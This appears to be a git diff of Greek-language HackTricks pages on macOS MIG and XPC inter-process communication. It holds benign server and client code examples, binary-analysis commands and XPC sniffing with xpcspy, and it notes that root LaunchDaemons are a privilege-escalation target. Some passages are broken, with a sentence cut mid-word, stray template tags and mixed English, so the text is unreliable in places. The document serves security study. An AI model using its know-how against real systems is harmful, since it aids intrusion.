Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και στο iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμό προνομίων** όπου κάθε **συστατικό** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διεργασία που έχει διαρρεύσει.
|
||||||
|
|
||||||
|
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς **μπορεί να είναι ευάλωτη** ελέγξτε:
|
||||||
|
|
||||||
|
### MIG - Μετατροπέας Διεπαφής Mach
|
||||||
|
|
||||||
|
Ο MIG δημιουργήθηκε για να **απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC**. Βασικά **δημιουργεί τον απαιτούμενο κώδικα** για τον εξυπηρετητή και τον πελάτη ώστε να επικοινωνούν με μια δεδομένη ορισμού. Ακόμα κι αν ο δημιουργημένος κώδικας είναι άσχημος, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.
|
||||||
|
|
||||||
|
Για περισσότερες πληροφορίες ελέγξτε:
|
||||||
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
|
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||||
|
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||||
|
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||||
|
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||||
|
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS MIG - Ο Παραγωγός Διεπαφής Mach
|
# macOS MIG - Mach Interface Generator
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -38,9 +38,11 @@ n2 : uint32_t);
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Τώρα χρησιμοποιήστε το mig για να δημιουργήσετε τον κώδικα εξυπηρετητή και πελάτη που θα μπορούν να επικοινωνούν μεταξύ τους για να καλέσουν τη λειτουργία Subtract:
|
Τώρα χρησιμοποιήστε το mig για να δημιουργήσετε τον κώδικα εξυπηρετητή και πελάτη που θα μπορούν να επικοινωνούν μεταξύ τους για να καλέσουν τη λειτουργία Subtract:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||||
```
|
```
|
||||||
|
|
||||||
Θα δημιουργηθούν αρκετά νέα αρχεία στον τρέχοντα κατάλογο.
|
Θα δημιουργηθούν αρκετά νέα αρχεία στον τρέχοντα κατάλογο.
|
||||||
|
|
||||||
Στα αρχεία **`myipcServer.c`** και **`myipcServer.h`** μπορείτε να βρείτε τη δήλωση και τον ορισμό της δομής **`SERVERPREFmyipc_subsystem`**, η οποία ουσιαστικά ορίζει τη συνάρτηση που θα κληθεί με βάση το αναγνωριστικό μηνύματος που λαμβάνεται (καθορίσαμε έναν αρχικό αριθμό 500):
|
Στα αρχεία **`myipcServer.c`** και **`myipcServer.h`** μπορείτε να βρείτε τη δήλωση και τον ορισμό της δομής **`SERVERPREFmyipc_subsystem`**, η οποία ουσιαστικά ορίζει τη συνάρτηση που θα κληθεί με βάση το αναγνωριστικό μηνύματος που λαμβάνεται (καθορίσαμε έναν αρχικό αριθμό 500):
|
||||||
|
@ -64,7 +66,9 @@ myipc_server_routine,
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="myipcServer.h" %}Ορισμός των συναρτήσεων που υλοποιούνται από τον server. %}
|
{% tab title="myipcServer.h" %}
|
||||||
|
Ορισμός των συναρτήσεων που υλοποιούνται από τον server. %\}
|
||||||
|
|
||||||
```c
|
```c
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
extern const struct SERVERPREFmyipc_subsystem {
|
extern const struct SERVERPREFmyipc_subsystem {
|
||||||
|
@ -81,6 +85,7 @@ routine[1];
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
Βασισμένο στην προηγούμενη δομή, η συνάρτηση **`myipc_server_routine`** θα λάβει το **ID μηνύματος** και θα επιστρέψει την κατάλληλη συνάρτηση προς κλήση:
|
Βασισμένο στην προηγούμενη δομή, η συνάρτηση **`myipc_server_routine`** θα λάβει το **ID μηνύματος** και θα επιστρέψει την κατάλληλη συνάρτηση προς κλήση:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
mig_external mig_routine_t myipc_server_routine
|
mig_external mig_routine_t myipc_server_routine
|
||||||
(mach_msg_header_t *InHeadP)
|
(mach_msg_header_t *InHeadP)
|
||||||
|
@ -95,15 +100,18 @@ return 0;
|
||||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Σε αυτό το παράδειγμα έχουμε ορίσει μόνο 1 λειτουργία στις ορισμούς, αλλά αν είχαμε ορίσει περισσότερες λειτουργίες, θα βρίσκονταν μέσα στον πίνακα του **`SERVERPREFmyipc_subsystem`** και η πρώτη θα είχε ανατεθεί στο ID **500**, η δεύτερη στο ID **501**...
|
Σε αυτό το παράδειγμα έχουμε ορίσει μόνο 1 λειτουργία στις ορισμούς, αλλά αν είχαμε ορίσει περισσότερες λειτουργίες, θα βρίσκονταν μέσα στον πίνακα του **`SERVERPREFmyipc_subsystem`** και η πρώτη θα είχε ανατεθεί στο ID **500**, η δεύτερη στο ID **501**...
|
||||||
|
|
||||||
Πράγματι, είναι δυνατό να αναγνωριστεί αυτή η σχέση στη δομή **`subsystem_to_name_map_myipc`** από το **`myipcServer.h`**:
|
Πράγματι, είναι δυνατό να αναγνωριστεί αυτή η σχέση στη δομή **`subsystem_to_name_map_myipc`** από το **`myipcServer.h`**:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#ifndef subsystem_to_name_map_myipc
|
#ifndef subsystem_to_name_map_myipc
|
||||||
#define subsystem_to_name_map_myipc \
|
#define subsystem_to_name_map_myipc \
|
||||||
{ "Subtract", 500 }
|
{ "Subtract", 500 }
|
||||||
#endif
|
#endif
|
||||||
```
|
```
|
||||||
|
|
||||||
Τέλος, μια άλλη σημαντική λειτουργία για τη λειτουργία του διακομιστή θα είναι το **`myipc_server`**, το οποίο είναι αυτό που θα καλέσει πραγματικά τη σχετική **συνάρτηση** που αφορά το ληφθέν αναγνωριστικό:
|
Τέλος, μια άλλη σημαντική λειτουργία για τη λειτουργία του διακομιστή θα είναι το **`myipc_server`**, το οποίο είναι αυτό που θα καλέσει πραγματικά τη σχετική **συνάρτηση** που αφορά το ληφθέν αναγνωριστικό:
|
||||||
|
|
||||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||||
|
@ -142,8 +150,6 @@ return FALSE;
|
||||||
|
|
||||||
Παρακάτω είναι ο κώδικας για τη δημιουργία ενός απλού **διακομιστή** και **πελάτη** όπου ο πελάτης μπορεί να καλέσει τις λειτουργίες Αφαίρεση από το διακομιστή:
|
Παρακάτω είναι ο κώδικας για τη δημιουργία ενός απλού **διακομιστή** και **πελάτη** όπου ο πελάτης μπορεί να καλέσει τις λειτουργίες Αφαίρεση από το διακομιστή:
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipc_server.c" %}
|
|
||||||
```c
|
```c
|
||||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||||
|
|
||||||
|
@ -174,9 +180,7 @@ return 1;
|
||||||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="myipc_client.c" %} {% endtab %}
|
|
||||||
```c
|
```c
|
||||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||||
|
|
||||||
|
@ -201,14 +205,17 @@ printf("Port right name %d\n", port);
|
||||||
USERPREFSubtract(port, 40, 2);
|
USERPREFSubtract(port, 40, 2);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ανάλυση Δυαδικών Αρχείων
|
### Ανάλυση Δυαδικών Αρχείων
|
||||||
|
|
||||||
Καθώς πολλά δυαδικά αρχεία χρησιμοποιούν πλέον το MIG για να αποκαλύπτουν θύρες mach, είναι ενδιαφέρον να γνωρίζουμε πώς να **αναγνωρίζουμε ότι χρησιμοποιήθηκε το MIG** και τις **λειτουργίες που εκτελεί το MIG** με κάθε αναγνωριστικό μηνύματος.
|
Καθώς πολλά δυαδικά αρχεία χρησιμοποιούν πλέον το MIG για να αποκαλύπτουν θύρες mach, είναι ενδιαφέρον να γνωρίζουμε πώς να **αναγνωρίζουμε ότι χρησιμοποιήθηκε το MIG** και τις **λειτουργίες που εκτελεί το MIG** με κάθε αναγνωριστικό μηνύματος.
|
||||||
|
|
||||||
Το [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) μπορεί να αναλύει πληροφορίες MIG από ένα δυαδικό αρχείο Mach-O, ενδεικτικά του αναγνωριστικού μηνύματος και της αναγνώρισης της λειτουργίας προς εκτέλεση:
|
Το [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) μπορεί να αναλύει πληροφορίες MIG από ένα δυαδικό αρχείο Mach-O, ενδεικτικά του αναγνωριστικού μηνύματος και της αναγνώρισης της λειτουργίας προς εκτέλεση:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||||
```
|
```
|
||||||
|
|
||||||
Ήδη αναφέρθηκε ότι η λειτουργία που θα αναλάβει το **κάλεσμα της σωστής λειτουργίας ανάλογα με το αναγνωριστικό μηνύματος που λαμβάνεται** ήταν η `myipc_server`. Ωστόσο, συνήθως δεν θα έχετε τα σύμβολα του δυαδικού (καμία ονομασία λειτουργιών), επομένως είναι ενδιαφέρον να **ελέγξετε πώς φαίνεται αποσυναρμολογημένο** καθώς θα είναι πάντα πολύ παρόμοιο (ο κώδικας αυτής της λειτουργίας είναι ανεξάρτητος από τις εκτεθειμένες λειτουργίες):
|
Ήδη αναφέρθηκε ότι η λειτουργία που θα αναλάβει το **κάλεσμα της σωστής λειτουργίας ανάλογα με το αναγνωριστικό μηνύματος που λαμβάνεται** ήταν η `myipc_server`. Ωστόσο, συνήθως δεν θα έχετε τα σύμβολα του δυαδικού (καμία ονομασία λειτουργιών), επομένως είναι ενδιαφέρον να **ελέγξετε πώς φαίνεται αποσυναρμολογημένο** καθώς θα είναι πάντα πολύ παρόμοιο (ο κώδικας αυτής της λειτουργίας είναι ανεξάρτητος από τις εκτεθειμένες λειτουργίες):
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
|
@ -337,7 +344,6 @@ return r0;
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Αυτά τα δεδομένα μπορούν να εξαχθούν [**χρησιμοποιώντας αυτό το σενάριο Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
Αυτά τα δεδομένα μπορούν να εξαχθούν [**χρησιμοποιώντας αυτό το σενάριο Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||||
|
|
||||||
* **Συμμετέχετε** στο 💬 [**Ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή το [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Συμμετέχετε** στο 💬 [**Ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή το [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,5 +1,7 @@
|
||||||
# macOS XPC
|
# macOS XPC
|
||||||
|
|
||||||
|
## macOS XPC
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -9,12 +11,12 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Βασικές Πληροφορίες
|
### Βασικές Πληροφορίες
|
||||||
|
|
||||||
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Inter-Process Communication, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και το iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασφαλών, ασύγχρονων κλήσεων μεθόδων μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του ασφαλούς παραδείγματος της Apple, επιτρέποντας την **δημιουργία εφαρμογών με διαχωρισμένα προνόμια**, όπου κάθε **συνιστώσα** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για να εκτελέσει την εργασία της, περιορίζοντας έτσι την πιθανή ζημιά από μια παραβιασμένη διεργασία.
|
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Inter-Process Communication, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και το iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασφαλών, ασύγχρονων κλήσεων μεθόδων μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του ασφαλούς παραδείγματος της Apple, επιτρέποντας την **δημιουργία εφαρμογών με διαχωρισμένα προνόμια**, όπου κάθε **συνιστώσα** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για να εκτελέσει την εργασία της, περιορίζοντας έτσι την πιθανή ζημιά από μια παραβιασμένη διεργασία.
|
||||||
|
|
||||||
|
@ -28,13 +30,14 @@
|
||||||
|
|
||||||
Το μόνο **μειονέκτημα** είναι ότι η **διαχωρισμένη εφαρμογή σε πολλές διεργασίες** που επικοινωνούν μέσω XPC είναι **λιγότερο αποδοτική**. Ωστόσο, στα σημερινά συστήματα αυτό δεν είναι σχεδόν αντιληπτό και τα οφέλη είναι μεγαλύτερα.
|
Το μόνο **μειονέκτημα** είναι ότι η **διαχωρισμένη εφαρμογή σε πολλές διεργασίες** που επικοινωνούν μέσω XPC είναι **λιγότερο αποδοτική**. Ωστόσο, στα σημερινά συστήματα αυτό δεν είναι σχεδόν αντιληπτό και τα οφέλη είναι μεγαλύτερα.
|
||||||
|
|
||||||
## Εφαρμογές Ειδικές XPC
|
### Εφαρμογές Ειδικές XPC
|
||||||
|
|
||||||
Οι συνιστώσες XPC μιας εφαρμογής βρίσκονται **μέσα στην ίδια την εφαρμογή**. Για παράδειγμα, στο Safari μπορείτε να τις βρείτε στο **`/Applications/Safari.app/Contents/XPCServices`**. Έχουν την κατάληξη **`.xpc`** (όπως **`com.apple.Safari.SandboxBroker.xpc`**) και είναι **επίσης δέσμες** με τον κύριο δυαδικό αρχείο μέσα σε αυτό: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` και ένα `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
Οι συνιστώσες XPC μιας εφαρμογής βρίσκονται **μέσα στην ίδια την εφαρμογή**. Για παράδειγμα, στο Safari μπορείτε να τις βρείτε στο **`/Applications/Safari.app/Contents/XPCServices`**. Έχουν την κατάληξη **`.xpc`** (όπως **`com.apple.Safari.SandboxBroker.xpc`**) και είναι **επίσης δέσμες** με τον κύριο δυαδικό αρχείο μέσα σε αυτό: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` και ένα `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||||
|
|
||||||
Όπως μπορείτε να σκεφτείτε, μια **συνιστώσα XPC θα έχει διαφορετικά δικαιώματα και προνόμια** από τις άλλες συνιστώσες XPC ή το κύριο δυαδικό αρχείο της εφαρμογής. ΕΚΤΟΣ αν ένα XPC service έχει ρυθμιστεί με την [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) να έχει την τιμή "True" στο αρχείο **Info.plist** του. Σε αυτήν την περίπτωση, το XPC service θα εκτελείται στην **ίδια ασφαλή συνεδρία με την εφαρμογή** που το κάλεσε.
|
Όπως μπορείτε να σκεφτείτε, μια **συνιστώσα XPC θα έχει διαφορετικά δικαιώματα και προνόμια** από τις άλλες συνιστώσες XPC ή το κύριο δυαδικό αρχείο της εφαρμογής. ΕΚΤΟΣ αν ένα XPC service έχει ρυθμιστεί με την [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) να έχει την τιμή "True" στο αρχείο **Info.plist** του. Σε αυτήν την περίπτωση, το XPC service θα εκτελείται στην **ίδια ασφαλή συνεδρία με την εφαρμογή** που το κάλεσε.
|
||||||
|
|
||||||
Τα XPC services **ξεκινούν** από τον **launchd** όταν απαιτούνται και **τερματίζονται** όταν ολοκληρώνονται όλες οι εργασίες για να απελευθερωθούν οι πόροι του συστήματος. **Οι εφαρμογές μπορούν να χρησιμοποι
|
Τα XPC services **ξεκινούν** από τον **launchd** όταν απαιτούνται και **τερματίζονται** όταν ολοκληρώνονται όλες οι εργασίες για να απελευθερωθούν οι πόροι του συστήματος. \*\*Οι εφαρμογές μπορούν να χρησιμοποι
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
|
|
||||||
|
@ -68,13 +71,14 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτά που βρίσκονται στο **`LaunchDameons`** τρέχουν από τον ριζικό χρήστη. Έτσι, αν ένα μη προνομιούχο διεργασία μπορεί να επικοινωνήσει με ένα από αυτά, μπορεί να αναβαθμίσει τα δικαιώματά του.
|
Αυτά που βρίσκονται στο **`LaunchDameons`** τρέχουν από τον ριζικό χρήστη. Έτσι, αν ένα μη προνομιούχο διεργασία μπορεί να επικοινωνήσει με ένα από αυτά, μπορεί να αναβαθμίσει τα δικαιώματά του.
|
||||||
|
|
||||||
## Μηνύματα XPC Event
|
### Μηνύματα XPC Event
|
||||||
|
|
||||||
Οι εφαρμογές μπορούν να **εγγραφούν** σε διάφορα **μηνύματα γεγονότων**, επιτρέποντάς τους να εκτελούνται κατά παραγγελία όταν συμβούν τέτοια γεγονότα. Η ρύθμιση για αυτές τις υπηρεσίες γίνεται σε αρχεία **plist του launchd**, που βρίσκονται στους **ίδιους καταλόγους με τα προηγούμενα** και περιέχουν ένα επιπλέον κλειδί **`LaunchEvent`**.
|
Οι εφαρμογές μπορούν να **εγγραφούν** σε διάφορα **μηνύματα γεγονότων**, επιτρέποντάς τους να εκτελούνται κατά παραγγελία όταν συμβούν τέτοια γεγονότα. Η ρύθμιση για αυτές τις υπηρεσίες γίνεται σε αρχεία **plist του launchd**, που βρίσκονται στους **ίδιους καταλόγους με τα προηγούμενα** και περιέχουν ένα επιπλέον κλειδί **`LaunchEvent`**.
|
||||||
|
|
||||||
### Έλεγχος Σύνδεσης Διεργασίας XPC
|
#### Έλεγχος Σύνδεσης Διεργασίας XPC
|
||||||
|
|
||||||
Όταν μια διεργασία προσπαθεί να καλέσει μια μέθοδο μέσω μιας σύνδεσης XPC, η **XPC υπηρεσία πρέπει να ελέγξει αν η διεργασία αυτή έχει άδεια να συνδεθεί**. Εδώ παρουσιάζονται οι συνηθισμένοι τρόποι ελέγχου και οι συνηθισμένες παγίδες:
|
Όταν μια διεργασία προσπαθεί να καλέσει μια μέθοδο μέσω μιας σύνδεσης XPC, η **XPC υπηρεσία πρέπει να ελέγξει αν η διεργασία αυτή έχει άδεια να συνδεθεί**. Εδώ παρουσιάζονται οι συνηθισμένοι τρόποι ελέγχου και οι συνηθισμένες παγίδες:
|
||||||
|
|
||||||
|
@ -82,7 +86,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Εξουσιοδότηση XPC
|
### Εξουσιοδότηση XPC
|
||||||
|
|
||||||
Η Apple επιτρέπει επίσης στις εφαρμογές να **διαμορφώσουν ορισμένα δικαιώματα και τον τρόπο απόκτησής τους**, έτσι ώστε αν η καλούσα διεργασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την XPC υπηρεσία:
|
Η Apple επιτρέπει επίσης στις εφαρμογές να **διαμορφώσουν ορισμένα δικαιώματα και τον τρόπο απόκτησής τους**, έτσι ώστε αν η καλούσα διεργασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την XPC υπηρεσία:
|
||||||
|
|
||||||
|
@ -90,9 +94,10 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## XPC Sniffer
|
### XPC Sniffer
|
||||||
|
|
||||||
Για να καταγράψετε τα μηνύματα XPC, μπορείτε να χρησιμοποιήσετε το [**xpcspy**](https://github.com/hot3eed/xpcspy), το οποίο χρησιμοποιεί το **Frida**.
|
Για να καταγράψετε τα μηνύματα XPC, μπορείτε να χρησιμοποιήσετε το [**xpcspy**](https://github.com/hot3eed/xpcspy), το οποίο χρησιμοποιεί το **Frida**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Install
|
# Install
|
||||||
pip3 install xpcspy
|
pip3 install xpcspy
|
||||||
|
@ -103,10 +108,11 @@ xpcspy -U -r -W <bundle-id>
|
||||||
## Using filters (i: for input, o: for output)
|
## Using filters (i: for input, o: for output)
|
||||||
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
||||||
```
|
```
|
||||||
## Παράδειγμα κώδικα C για επικοινωνία XPC
|
|
||||||
|
### Παράδειγμα κώδικα C για επικοινωνία XPC
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="xpc_server.c" %}
|
{% tab title="undefined" %}
|
||||||
```c
|
```c
|
||||||
// gcc xpc_server.c -o xpc_server
|
// gcc xpc_server.c -o xpc_server
|
||||||
|
|
||||||
|
@ -160,8 +166,9 @@ dispatch_main();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xpc_client.c" %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="xpc_client.c" %}
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <xpc/xpc.h>
|
#include <xpc/xpc.h>
|
||||||
|
@ -197,6 +204,7 @@ The `xpc_connection_resume` function starts the connection and allows events to
|
||||||
The `sleep` function is used to keep the program running for 10 seconds before releasing the connection with `xpc_release`.
|
The `sleep` function is used to keep the program running for 10 seconds before releasing the connection with `xpc_release`.
|
||||||
|
|
||||||
This is just a basic example to demonstrate the usage of XPC in macOS. In a real-world scenario, you would typically perform more complex operations and handle different types of events.
|
This is just a basic example to demonstrate the usage of XPC in macOS. In a real-world scenario, you would typically perform more complex operations and handle different types of events.
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// gcc xpc_client.c -o xpc_client
|
// gcc xpc_client.c -o xpc_client
|
||||||
|
|
||||||
|
@ -225,7 +233,6 @@ dispatch_main();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xyz.hacktricks.service.plist" %}
|
|
||||||
|
|
||||||
Το αρχείο `xyz.hacktricks.service.plist` περιέχει τις ρυθμίσεις για ένα XPC service στο macOS. Το XPC (Inter-Process Communication) είναι ένα μηχανισμός που επιτρέπει την επικοινωνία μεταξύ διαφορετικών διεργασιών στο macOS. Αυτό το αρχείο περιέχει πληροφορίες για το πώς θα εκτελεστεί το XPC service και ποιες δικαιώματα θα έχει.
|
